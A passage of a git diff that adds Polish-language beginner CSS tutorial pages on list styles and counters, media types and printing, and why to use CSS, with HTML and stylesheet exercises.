+<ul style="padding-left: 2em;">
+<li style=""><code>disc</code></li>
+<li style=""><code>circle</code></li>
+<li style=""><code>square</code></li>
+</ul>
+<p>Alternatywnie możesz określić URL do obrazka.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Te reguły określają różne oznaczenia dla różnych klas elementów listy:
+<div style="width: 30em;">
+<p>li.open {list-style: circle;}
+li.closed {list-style: disc;}
+</p>
+</div>
+<p>Kiedy użyjesz tych klas w liście, rozdzielisz elementy otwarte i zamknięte:
+</p>
+<div style="width: 30em;">
+<p>&lt;UL&gt;
+</p>
+<pre class="eval"> &lt;LI class="open"&gt;Lorem ipsum&lt;/LI&gt;
+ &lt;LI class="closed"&gt;Dolor sit&lt;/LI&gt;
+ &lt;LI class="closed"&gt;Amet consectetuer&lt;/LI&gt;
+ &lt;LI class="open"&gt;Magna aliquam&lt;/LI&gt;
+ &lt;LI class="closed"&gt;Autem veleum&lt;/LI&gt;
+</pre>
+<p>&lt;/UL&gt;
+</p>
+</div>
+<p>Wynik może wyglądać na przykład tak:
+</p>
+<table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+<tbody><tr>
+<td><ul style="padding-right: 6em;">
+<li style="">Lorem ipsum</li>
+<li style="">Dolor sit</li>
+<li style="">Amet consectetuer</li>
+<li style="">Magna aliquam</li>
+<li style="">Autem veleum</li>
+</ul>
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<h4 id="Listy_uporz.C4.85dkowane_.28ordered_lists.29" name="Listy_uporz.C4.85dkowane_.28ordered_lists.29"> Listy uporządkowane (ordered lists) </h4>
+<p>W przypadku list <i>uporządkowanych</i> każdy element listy jest osobno oznaczony, aby zaznaczyć jego pozycję w sekwencji.
+</p><p>Użyj własności <code>list-style</code>, aby określić typ oznaczenia:
+</p>
+<ul style="padding-left: 2em;">
+<li style=""><code>decimal</code></li>
+<li style=""><code>lower-roman</code></li>
+<li style=""><code>upper-roman</code></li>
+<li style=""><code>lower-latin</code></li>
+<li style=""><code>upper-latin</code></li>
+</ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Ta reguła określa, że w bloku <small>OL</small> z klasą <code>info</code> elementy są oznaczane dużymi literami.
+<div style="width: 30em;">
+<p>ol.info {list-style: upper-latin;}
+</p>
+</div>
+<p>Elementy <small>LI</small> dziedziczą ten styl:
+</p>
+<table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+<tbody><tr>
+<td><ul>
+<li style="padding-right: 6em;">Lorem ipsum</li>
+<li style="padding-right: 6em;">Dolor sit</li>
+<li style="padding-right: 6em;">Amet consectetuer</li>
+<li style="padding-right: 6em;">Magna aliquam</li>
+<li style="padding-right: 6em;">Autem veleum</li>
+</ul>
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Własność <code>list-style</code> jest własnością skrótową. W złożonych arkuszach stylów raczej będziesz wolał(a) używać osobnych własności dla osobnych wartości. Aby dowiedzieć się więcej na temat osobnych własności oraz jak CSS określa listy, zajrzyj do sekcji <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#q10">Listy</a> w dokumentacji CSS.
+<p>Jeżeli używasz języka znaczników, jak HTML, który korzysta z własnych znaczników dla list nieuporządkowanych (<small>UL</small>) i uporządkowanych (<small>OL</small>), wówczas dobrym zwyczajem jest korzystanie z nich zgodnie z przeznaczeniem. Jednakże możesz użyć CSS, aby wyświetlić <small>UL</small> jako posortowaną, a <small>OL</small> jako nieposortowaną, jeśli wolisz.
+</p><p>Różne przeglądarki w różny sposób obsługują te style dla list.
+Nie oczekuj, że Twój arkusz stylów zostanie wyświetlony identycznie we wszystkich.
+</p>
+</td></tr></tbody></table>
+<h4 id="Liczniki" name="Liczniki"> Liczniki </h4>
+<div style="border: 1px solid red; padding: 6px; margin: 0 0 .5em -6px; width: 100%;">
+<p><strong>Notatka: </strong> Niektóre przeglądarki nie obsługują liczników.</p>
+</div>
+<p>Możesz używać liczników do różnych elementów, nie tylko list.
+Na przykład w niektórych dokumentacjach możesz chcieć numerować nagłówki lub paragrafy.
+</p><p>Aby określić numerację, musisz zadeklarować <i>counter</i> z określoną nazwą.
+</p><p>W którymś z elementów, zanim rozpocznie się naliczanie, zresetuj licznik, używając właściwości <code>counter-reset</code> i nazwą Twojego licznika.
+Rodzic elementów, które liczysz, jest dobrym miejscem na reset, ale możesz użyć dowolnego elementu, który pojawia się przed elementami listy.
+</p><p>W każdym elemencie, w którym licznik jest inkrementowany, dodaj właściwość <code>counter-increment</code>. Jako wartość podaj nazwę licznika.
+</p><p>Aby wyświetlić wartość licznika, dodaj <code>:before</code> lub <code>:after</code> do selektora i użyj własności <code>content</code> (tak jak na poprzedniej stronie <b><a href="pl/CSS/Na_pocz%c4%85tek/Tre%c5%9b%c4%87">Treść</a></b>).
+</p><p>Jako wartość własności <code>content</code> wstaw <code>counter()</code> z nazwą swojego licznika.
+Opcjonalnie określ typ.
+Typy są takie same jak w sekcji '<i>listy uporządkowane</i>.
+</p><p>Zwykle element, który wyświetla licznik, inkrementuje go.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Ta reguła inicjalizuje licznik w każdym elemencie <small>H3</small> z klasą <code>numbered</code>:
+<div style="width: 30em;">
+<p>h3.numbered {counter-reset: mynum;}
+</p>
+</div>
+<p>Ta reguła wyświetla i inkrementuje licznik dla każdego elementu <small>P</small> z klasą <code>numbered</code>:
+</p>
+<div style="width: 30em;">
+<p>p.numbered:before {
+</p>
+<pre class="eval"> content: counter(mynum) ": ";
+ counter-increment: mynum;
+ font-weight: bold;}
+</pre>
+</div>
+<p>Wynik wygląda tak:
+</p>
+<table style="border: 2px outset #36b; padding: .5em 6em .5em 1em; background-color: white;">
+<tbody><tr>
+<td><b>Heading</b><br>
+<p><b>1: </b>Lorem ipsum</p>
+<p><b>2: </b>Dolor sit</p>
+<p><b>3: </b>Amet consectetuer</p>
+<p><b>4: </b>Magna aliquam</p>
+<p><b>5: </b>Autem veleum</p>
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Nie należy używać liczników, jeśli nie masz pewności, że każdy, kto czyta Twój dokument, posiada obsługującą je przeglądarkę.
+<p>Jeżeli możesz używać liczników, mają one tę zaletę, że określasz ich styl niezależnie od elementów listy. W powyższym przykładzie liczniki są pogrubione, a elementu listy nie.
+</p><p>Możesz też używać liczników w bardziej złożony sposób — na przykład do numerowania sekcji, nagłówków, podnagłówków i paragrafów w dokumentach.
+Aby dowiedzieć się więcej, zajrzyj do specyfikacji CSS do sekcji <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#counters">Automatyczne liczniki i numerowanie</a>.
+</p>
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Style_list" name="Zadanie:_Style_list"> Zadanie: Style list </h3>
+<p>Stwórz nowy dokument HTML, <code>doc2.html</code>.
+Skopiuj i wklej poniższą treść, upewniając się, że zaznaczyłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+<p>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+&lt;HEAD&gt;
+&lt;TITLE&gt;Sample document 2&lt;/TITLE&gt;
+&lt;LINK rel="stylesheet" type="text/css" href="style2.css"&gt;
+&lt;/HEAD&gt;
+&lt;BODY&gt;
+
+&lt;H3 id="oceans"&gt;The oceans&lt;/H3&gt;
+&lt;UL&gt;
+&lt;LI&gt;Arctic&lt;/LI&gt;
+&lt;LI&gt;Atlantic&lt;/LI&gt;
+&lt;LI&gt;Pacific&lt;/LI&gt;
+&lt;LI&gt;Indian&lt;/LI&gt;
+&lt;LI&gt;Southern&lt;/LI&gt;
+&lt;/UL&gt;
+
+&lt;H3 class="numbered"&gt;Numbered paragraphs&lt;/H3&gt;
+&lt;P class="numbered"&gt;Lorem ipsum&lt;/P&gt;
+&lt;P class="numbered"&gt;Dolor sit&lt;/P&gt;
+&lt;P class="numbered"&gt;Amet consectetuer&lt;/P&gt;
+&lt;P class="numbered"&gt;Magna aliquam&lt;/P&gt;
+&lt;P class="numbered"&gt;Autem veleum&lt;/P&gt;
+
+&lt;/BODY&gt;
+&lt;/HTML&gt;
+</p>
+</div>
+<p>Stwórz nowy arkusz stylów, <code>style2.css</code>.
+Skopiuj i wklej poniższą treść:
+</p>
+<div style="width: 48em;">
+<p>/* numbered paragraphs */
+h3.numbered {counter-reset: mynum;}
+
+p.numbered:before {
+</p>
+<pre class="eval"> content: counter(mynum) ": ";
+ counter-increment: mynum;
+ font-weight: bold;}
+</pre>
+</div>
+<p>Jeżeli układ i komentarze Ci nie odpowiadają, zmień je.
+</p><p>Otwórz ten dokument w swojej przeglądarce.
+Jeżeli Twoja przeglądarka obsługuje liczniki, zobaczysz coś takiego, jak poniżej.
+Jeżeli Twoja przeglądarka nie obsługuje stylów, wówczas nie zobaczysz liczb (i prawdopodobnie także dwukropków):
+</p>
+<table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
+<tbody><tr>
+<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">The oceans</p>
+<ul style="">
+<li>Arctic</li>
+<li>Atlantic</li>
+<li>Pacific</li>
+<li>Indian</li>
+<li>Southern</li>
+</ul>
+<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">Numbered paragraphs</p>
+<p><b>1: </b>Lorem ipsum</p>
+<p><b>2: </b>Dolor sit</p>
+<p><b>3: </b>Amet consectetuer</p>
+<p><b>4: </b>Magna aliquam</p>
+<p><b>5: </b>Autem veleum</p>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe; width: 60%;">
+<caption>Wyzwania
+</caption><tbody><tr>
+<td> Dodaj jedną regułę do swojego arkusza stylów, aby ponumerować oceany, używając rzymskich liczb od i do v:
+<table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
+<tbody><tr>
+<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">The oceans</p>
+<ul style="">
+<li>Arctic</li>
+<li>Atlantic</li>
+<li>Pacific</li>
+<li>Indian</li>
+<li>Southern</li>
+</ul>
+</td></tr></tbody></table>
+<p>Jeżeli Twoja przeglądarka obsługuje liczniki, zmień swój arkusz stylów, aby identyfikował nagłówki dużymi literami w takim stylu:
+</p>
+<table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
+<tbody><tr>
+<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">(A) The oceans</p>
+<p><b>. . .</b>
+</p>
+<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">(B) Numbered paragraphs</p>
+<p><b>. . .</b>
+</p>
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.
+</p><p>Kiedy Twoja przeglądarka wyświetla przykładowy dokument, tworzy przy okazji przestrzeń dookoła elementów, które określają ich rozkład na stronie.
+</p><p>Następna strona opisuje, jak można użyć CSS do pracy z przestrzenią wokół elementów:
+<b><a href="pl/CSS/Na_pocz%c4%85tek/Bloki">Bloki</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/Lists", "fr": "fr/CSS/Premiers_pas/Listes", "pt": "pt/CSS/Como_come\u00e7ar/Listas" } ) }}
diff --git a/files/pl/web/css/na_początek/media/index.html b/files/pl/web/css/na_początek/media/index.html
new file mode 100644
index 0000000000..ef6c87f8cf
--- /dev/null
+++ b/files/pl/web/css/na_początek/media/index.html
@@ -0,0 +1,318 @@
+---
+title: Media
+slug: Web/CSS/Na_początek/Media
+tags:
+ - 'CSS:Na_początek'
+translation_of: Web/Progressive_web_apps/Responsive/Media_types
+---
+<p>
+</p><p>Wiele stron tego kursu skupiało się na własnościach i wartościach CSS, których możesz użyć do określania wyglądu dokumentu.
+</p><p>Ta strona wraca do tematu przeznaczenia i struktury arkuszy stylów.
+</p>
+<h3 id="Informacja:_Media" name="Informacja:_Media"> Informacja: Media </h3>
+<p>Przeznaczeniem CSS-u jest określanie jak dokumentu mają być prezentowane użytkownikowi.
+Prezentacja może przyjąć wiele różnych form.
+</p><p>Na przykład prawdopodobnie czytasz tę stronę na jakimś urządzeniu wyświetlającym. Ale możesz również chcieć wyświetlić ją na ekranie dla większego grona odbiorców lub wydrukować ją.
+To są różne media o różnych charakterystykach.
+CSS daje możliwość prezentowania dokumentu w różny sposób dla różnych mediów.
+</p><p>Aby zdefiniować regułę, która będzie dotyczyła tylko określonego typu mediów, użyj <code>@media</code> z typem mediów oraz klamrami obejmującymi reguły, których ma to dotyczyć.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Dokument na stronie WWW posiada pole nawigacyjne pozwalające użytkownikowi poruszać się po stronie.
+<p>W języku znaczników element rodzica pola nawigacyjnego ma id <code>nav-area</code>.
+</p><p>Kiedy dokument jest drukowany, pole nawigacyjne nie ma żadnego zastosowania, więc arkusz stylów usuwa je w całości:
+</p>
+<div style="width: 30em;">
+<p>@media print {
+</p>
+<pre class="eval"> #nav-area {display: none;}
+ }
+</pre>
+</div>
+</td></tr></tbody></table>
+<p>Niektóre z popularnych typów mediów:
+</p>
+<table style="margin-left: 2em;">
+<tbody><tr>
+<td><code>screen</code></td><td>Kolorowy wyświetlacz komputera
+</td></tr>
+<tr>
+<td><code>print</code></td><td>Wyświetlanie na stronach
+</td></tr>
+<tr>
+<td style="padding-right: 1em;"><code>projection</code></td><td>Wyświetlane podczas projekcji
+</td></tr>
+<tr>
+<td><code>all</code></td><td>Wszystkie media (domyślne)
+</td></tr></tbody></table>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; width: 100%;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Istnieją też inne sposoby określenia docelowych mediów.
+<p>Język znaczników dokumentu może pozwalać na określenie typu mediów w odnośniku wiążącym arkusz stylów z dokumentem. Na przykład w HTML-u możesz opcjonalnie określić typ mediów w atrybucie <code>media</code> w znaczniku <code>LINK</code>.
+</p><p>W CSS możesz użyć <code>@import</code> na początku arkusza stylów, aby zaimportować inny arkusz stylów z podanego adresu URL, opcjonalnie podając też typ mediów.
+</p><p>Dzięki wykorzystaniu tych technik możesz rozdzielić reguły stylów dla różnych typów mediów do różnych plików. Może to być czasem przydane do ułożenia struktury Twojego dokumentu.
+</p><p>Aby dowiedzieć się więcej na temat typów mediów, zajrzyj na stronę <a class="external" href="http://www.w3.org/TR/CSS21/media.html">Media</a> w specyfikacji CSS.
+</p><p>Istnieje więcej przykładów wykorzystania własności <code>display</code> na dalszej stronie kursu: <a href="pl/CSS/Na_pocz%c4%85tek/Dane_XML">Dane XML</a>.
+</p>
+</td></tr></tbody></table>
+<h4 id="Drukowanie" name="Drukowanie"> Drukowanie </h4>
+<p>CSS posiada specyficzne własności przeznaczone dla mediów stronicowych.
+</p><p>Reguła <code>@page</code> może ustawiać marginesy strony.
+Aby ustawić drukowanie dwustronne, możesz określić marginesy osobno dla <code>@page:left</code> oraz <code>@page:right</code>.
+</p><p>Dla mediów stronicowych zazwyczaj należy używać odpowiednich jednostek długości takich jak cale (<code>in</code>), punkty (<code>pt</code>) = 1/72 cala), centymetry (<code>cm</code>) lub milimetry (<code>mm</code>). Równie dobrze możesz używać ems (<code>em</code>), aby dopasować się do rozmiaru czcionki, oraz procentów (<code>%</code>).
+</p><p>Możesz kontrolować, jak zawartość dokumentu jest przełamywana na strony, przy użyciu własności <code>page-break-before</code>, <code>page-break-after</code> i <code>page-break-inside</code>.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Ta reguła ustawia margines strony na jeden cal dla każdej strony:
+<div style="width: 30em;">
+<p>@page {margin: 1in;}
+</p>
+</div>
+<p>Ta reguła zapewnia, że każdy element <small>H!</small> zaczyna się na nowej stronie:
+</p>
+<div style="width: 30em;">
+<p>h1 {page-break-before: always;}
+</p>
+</div>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; width: 100%;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Aby dowiedzieć się więcej o obsłudze mediów stronicowych, zajrzyj na stronę <a class="external" href="http://www.w3.org/TR/CSS21/page.html">Media stronicowe</a> w specyfikacji CSS.
+<p>Drukowanie, podobnie jak inne funkcje CSS, zależy od Twojej przeglądarki i jej ustawień.
+Na przykład przeglądarka Mozilla ustawia domyślne marginesy, nagłówki i stopkę podczas druku.
+Raczej nie będziesz w stanie przewidzieć ustawień przeglądarek innych użytkowników drukujących Twój dokument &amp;mbdash; nie masz możliwości w pełni kontrolować wyniku.
+</p>
+</td></tr></tbody></table>
+<h4 id="Interfejsy_u.C5.BCytkownika" name="Interfejsy_u.C5.BCytkownika"> Interfejsy użytkownika </h4>
+<p>CSS ma pewne specjalne własności przeznaczone dla urządzeń obsługujących interfejs użytkownika, takich jak wyświetlacz komputera. To sprawia, że widok dokumentu zmienia się dynamicznie w trakcie pracy użytkownika z interfejsem.
+</p><p>Nie istnieje osobny typ mediów dla urządzeń z interfejsem użytkownika.
+</p><p>Istnieje pięć specjalnych selektorów:
+</p>
+<table style="margin-left: 2em;">
+<tbody><tr>
+<td style="width: 10em;"><strong>Selektor</strong></td><td><strong>Wybiera</strong>
+</td></tr>
+<tr>
+<td><code>E:hover</code></td><td>Dowolny element E, nad którym znajduje się wskaźnik
+</td></tr>
+<tr>
+<td><code>E:focus</code></td><td>Dowolny element E, który jest w danym momencie aktywny dla interfejsu
+</td></tr>
+<tr>
+<td><code>E:active</code></td><td>Element E, który jest wykorzystywany w aktualnie wykonywanej akcji użytkownika
+</td></tr>
+<tr>
+<td><code>E:link</code></td><td>Dowolny element E, który jest odnośnikiem do strony której użytkownik <i>nie</i> odwiedzał ostatnio
+</td></tr>
+<tr>
+<td><code>E:visited</code></td><td>Dowolny element E, który jest odnośnikiem do adresu URL, który użytkownik <i>odwiedził</i> niedawno
+</td></tr></tbody></table>
+<p>Własność <code>cursor</code> określa kształt wskaźnika; niektóre z podstawowych kształtów podane są poniżej. Umieść kursor myszy nad elementami na tej liście, aby zobaczyć jak wygląda podany kursor:
+</p>
+<table style="margin-left: 2em;">
+<tbody><tr>
+<td style="width: 10em;"><strong>Selektor</strong></td><td><strong>Wybiera</strong>
+</td></tr>
+<tr style="cursor: pointer;">
+<td><code>pointer</code></td><td>Wskazuje odnośnik
+</td></tr>
+<tr style="cursor: wait;">
+<td><code>wait</code></td><td>Wskazuje, że program nie może przyjmować danych
+</td></tr>
+<tr style="cursor: progress;">
+<td><code>progress</code></td><td>Wskazuje, że program w tej chwili pracuje, ale może przyjmować dane od użytkownika
+</td></tr>
+<tr style="cursor: default;">
+<td><code>default</code></td><td>Domyślny (zazwyczaj strzałka)
+</td></tr></tbody></table>
+<p>Własność <code>outline</code> tworzy zewnętrzną linię, która zazwyczaj jest używana do oznaczenia pola aktywnego dla klawiatury.
+Jej wartości są podobne do własności <code>border</code>, poza tym, że nie możesz określać osobno wartości dla poszczególnych boków.
+</p><p>Kilka innych funkcji interfejsu użytkownika zostało zaimplementowanych przy użyciu atrybutów w tradycyjny sposób. Na przykład elementy, które są nieaktywne albo w trybie tylko do odczytu posiadają atrybut <code>disabled</code> lub <code>readonly</code>.
+Selektory mogą określać takie atrybuty podobnie jak każde inne — poprzez użycie prostokątnych nawiasów: <code>{{ mediawiki.external('disabled') }}</code> lub <code>{{ mediawiki.external('readonly') }}</code>.
+</p><p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Te reguły określają style dla przycisku, który zmienia się dynamicznie, kiedy użytkownik na nim operuje:
+<div style="width: 30em;"><pre>
+.green-button {
+ background-color:#cec;
+ color:#black;
+ border:2px outset #cec;
+ }
+
+.green-button[disabled] {
+ background-color:#cdc;
+ color:#777;
+ }
+
+.green-button:active {
+ border-style: inset;
+ }
+</pre></div>
+<p>To wiki nie obsługuje interfejsu użytkownika na tej stronie, zatem przyciski nie mogą być *klikalne*. Poniżej znajdują się statyczne obrazki ilustrujące ideę:
+</p>
+<table style="border: 2px outset #36b; padding: 1em; background-color: #fff;">
+<tbody><tr>
+<td>
+<table>
+<tbody><tr>
+<td><span style="width: 8em; height: 2em; background-color: #cdc; color: #777; padding: .5em 1em; cursor: default; margin-right: 1em; border: 2px outset #cec;">Click Me</span>
+</td><td><span style="width: 8em; height: 2em; background-color: #cec; padding: .5em 1em; cursor: move; margin-right: 1em; border: 2px outset #cec;">Click Me</span>
+</td><td><span style="width: 8em; height: 2em; background-color: #cec; padding: .5em 1em; cursor: move; margin-right: 1em; border: 2px inset #cec;">Click Me</span>
+</td></tr>
+<tr style="line-height: 25%;">
+<td>
+</td></tr>
+<tr style="font-style: italic;">
+<td>disabled</td><td>normal</td><td>active
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<p>W pełni funkcjonalny przycisk posiada dodatkowo ciemną linię wokół całego przycisku, kiedy jest on domyślny, oraz kropkowaną linię na przycisku, kiedy jest on aktywny dla klawiatury. Może także posiadać efekt aktywizacji, kiedy wskaźnik znajduje się nad nim.
+</p>
+</td></tr></tbody></table>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Aby dowiedzieć się więcej o interfejsach użytkownika w CSS, zobacz stronę <a class="external" href="http://www.w3.org/TR/CSS21/ui.html">User interface</a> w specyfikacji CSS.
+<p>Istnieje też przykład napisany w języku znaczników Mozilli, XUL-u, w drugiej części tego kursu.
+</p>
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Drukowanie_dokumentu" name="Zadanie:_Drukowanie_dokumentu"> Zadanie: Drukowanie dokumentu </h3>
+<p>Stwórz nowy dokument HTML, <code>doc4.html</code>.
+Skopiuj i wklej poniższy kod, upewniając się, że zaznaczyłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+
+&lt;HEAD&gt;
+&lt;TITLE&gt;Print sample&lt;/TITLE&gt;
+&lt;LINK rel="stylesheet" type="text/css" href="style4.css"&gt;&lt;/strong&gt;
+&lt;/HEAD&gt;
+
+&lt;BODY&gt;
+&lt;H1&gt;Section A&lt;/H1&gt;
+&lt;P&gt;This is the first section...&lt;/P&gt;
+
+&lt;H1&gt;Section B&lt;/H1&gt;
+&lt;P&gt;This is the second section...&lt;/P&gt;
+
+&lt;DIV id="print-head"&gt;
+Heading for paged media
+&lt;/DIV&gt;
+
+&lt;DIV id="print-foot"&gt;
+Page:
+&lt;/DIV&gt;
+
+&lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre></div>
+<p>Stwórz nowy arkusz stylów, <code>style4.css</code>.
+Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>/*** Print sample ***/
+
+/* defaults for screen */
+#print-head,
+#print-foot {
+ display: none;
+ }
+
+/* print only */
+@media print {
+
+h1 {
+ page-break-before: always;
+ padding-top: 2em;
+ }
+
+h1:first-child {
+ page-break-before: avoid;
+ counter-reset: page;
+ }
+
+#print-head {
+ display: block;
+ position: fixed;
+ top: 0pt;
+ left:0pt;
+ right: 0pt;
+
+ font-size: 200%;
+ text-align: center;
+ }
+
+#print-foot {
+ display: block;
+ position: fixed;
+ bottom: 0pt;
+ right: 0pt;
+
+ font-size: 200%;
+ }
+
+#print-foot:after {
+ content: counter(page);
+ counter-increment: page;
+ }
+
+} /* end print only */
+</pre></div>
+<p>Kiedy oglądasz ten dokument w swojej przeglądarce, używa on domyślnego stylu przeglądarki.
+</p><p>Kiedy drukujesz go (lub oglądasz podgląd wydruku), arkusz stylów umieszcza każdą sekcję na osobnej stronie oraz dodaje nagłówek i stopkę do każdej strony. Jeżeli Twoja przeglądarka obsługuje także liczniki, dodaje numer strony w stopce.
+</p>
+<table>
+<tbody><tr>
+<td>
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
+<td>
+<table style="width: 15em; margin-right: 2em;">
+<tbody><tr>
+<td><div style="font-size: 150%; text-align: center; margin-bottom: .5em;">Heading</div>
+<div style="font-size: 150%; font-weight: bold;">Section A</div>
+<div style="font-size: 75%;">This is the first section...</div>
+<div style="font-size: 150%; text-align: right; margin-top: 12em;">Page: 1</div>
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+</td><td>
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
+<td>
+<table style="width: 15em; margin-right: 2em;">
+<tbody><tr>
+<td><div style="font-size: 150%; text-align: center; margin-bottom: .5em;">Heading</div>
+<div style="font-size: 150%; font-weight: bold;">Section B</div>
+<div style="font-size: 75%;">This is the second section...</div>
+<div style="font-size: 150%; text-align: right; margin-top: 12em;">Page: 2</div>
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Przesuń reguły stylu dotyczące drukowania do osobnego pliku CSS.
+<p>Użyj wcześniejszych odnośników na tej stronie, aby znaleźć informacje w specyfikacji CSS. Znajdź szczegóły na temat, jak importować nowy plik CSS do swojego arkusza stylów.
+</p><p>Spraw, aby nagłówek stawał się niebieski, kiedy kursor myszy znajdzie się nad nim.
+</p>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.
+</p><p>Na razie wszystkie reguły stylów w tym kursie znajdowały się w plikach. Reguły i ich wartości są stałe. Następna strona opisuje, jak można modyfikować reguły dynamicznie, używając języka programowania: <b><a href="pl/CSS/Na_pocz%c4%85tek/JavaScript">JavaScript</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/Media", "fr": "fr/CSS/Premiers_pas/M\u00e9dias", "pt": "pt/CSS/Como_come\u00e7ar/M\u00eddia" } ) }}
diff --git a/files/pl/web/css/na_początek/po_co_używać_css/index.html b/files/pl/web/css/na_początek/po_co_używać_css/index.html
new file mode 100644
index 0000000000..73fb92e4cb
--- /dev/null
+++ b/files/pl/web/css/na_początek/po_co_używać_css/index.html
@@ -0,0 +1,85 @@
+---
+title: Po co używać CSS
+slug: Web/CSS/Na_początek/Po_co_używać_CSS
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p>
+</p><p>Ta strona tłumaczy, do czego dokumenty wykorzystują CSS.
+Używając CSS dodasz do swojego dokumentu arkusz stylów.
+</p>
+<h3 id="Informacja:_Po_co_u.C5.BCywa.C4.87_CSS.3F" name="Informacja:_Po_co_u.C5.BCywa.C4.87_CSS.3F"> Informacja: Po co używać CSS? </h3>
+<p>CSS pomaga utrzymać treść dokumentu oddzieloną od informacji o tym, jak należy ją wyświetlać. Szczegóły opisujące, jak należy wyświetlać dokument, są znane jako <i>styl</i>. Utrzymywanie rozdzielenia treści od wyglądu:
+</p>
+<ul><li> pozwala uniknąć powtórzeń,
+</li><li> ułatwia zarządzanie dokumentem,
+</li><li> umożliwia wykorzystywanie różnych stylów do różnych celów w jednym dokumencie.
+</li></ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Twoja strona WWW może mieć wiele dokumentów wyglądających podobnie. Korzystając z CSS, przechowujesz informacje o wyglądzie w osobnych plikach używanych we wszystkich dokumentach.
+<p>Kiedy użytkownik ogląda stronę WWW, przeglądarka pobiera informacje o stylach równolegle z treścią strony.
+</p><p>Kiedy użytkownik drukuje stronę, można mu dostarczyć inne informacje o stylu, które sprawią, że wydrukowany dokument będzie bardziej czytelny.
+</p>
+</td></tr></tbody></table>
+<p>Ogólnie rzecz biorąc, dzięki CSS język znaczników jest wykorzystywany wyłącznie do opisu treści dokumentu, a nie jego stylu. CSS jest zaś używany do opisu stylu, nie treści. (Dalej w tym kursie będzie można zobaczyć pewne wyjątki od tej reguły.)
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
